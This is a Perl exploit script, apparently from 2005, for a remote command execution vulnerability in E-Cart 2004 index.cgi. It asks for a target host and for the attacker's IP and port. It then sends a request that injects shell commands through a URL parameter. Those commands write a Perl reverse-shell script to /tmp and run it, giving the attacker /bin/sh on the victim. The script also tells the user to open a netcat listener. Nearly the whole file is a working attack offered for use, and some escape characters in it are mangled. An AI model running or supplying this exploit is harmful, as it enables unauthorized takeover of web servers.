#!/usr/bin/perl
#
# Example added if code doesn't work for ya:
# http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: emanuele@orvietolug.org
#
use IO::Socket; 

print "nn ~~ www.badroot.org ~~ nn";
print " E-Cart E-Commerce Software index.cgin";
print " Remote Command Execution Vulnerabilityn";
print " Affected version: <= E-Cart 2004 v1.1n";
print " http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0  nn";
print " ~~ code by z\ ~~nnn";
print " 04.23.2005nnn";


print "hostname: n"; 
chomp($server=<STDIN>);  

print "port: (default: 80)n";
chomp($port=<STDIN>);
$port=80 if ($port =~/D/ );
$port=80 if ($port eq "" );

print "path: (/cgi-bin/ecart/)n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): n";
chomp($reverse=<STDIN>);


print " nn";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~rn";

print "[*] try to exploiting...n"; 

$string="/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!n");connect(SOCKET, $paddr) || die("Error: $!n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

print "[*] OK! n"; 
print "[*] NOW, run in your box: nc -l -vv -p $reversen";
print "[*] starting connect back on $ip :$reversen";
print "[*] DONE!n";
print "[*] Loock netcat windows and funnynn";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp) 
or die; 


print $socket "POST $path HTTP/1.1n"; 
print $socket "Host: $servern";
print $socket "Accept: */*n";
print $socket "User-Agent: 7330ecartn";
print $socket "Pragma: no-cachen";
print $socket "Cache-Control: no-cachen";
print $socket "Connection: closenn";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn";
print " WARNING - WARNING - WARNING - WARNING   rn";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rnn";
print "If connect back shell not found:n";
print "- you do not have privileges to write in /tmpn";
print "- Shell not vulnerablennn";
print "Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu us.ircnet.orgnnn";


# www.Syue.com [2005-04-25]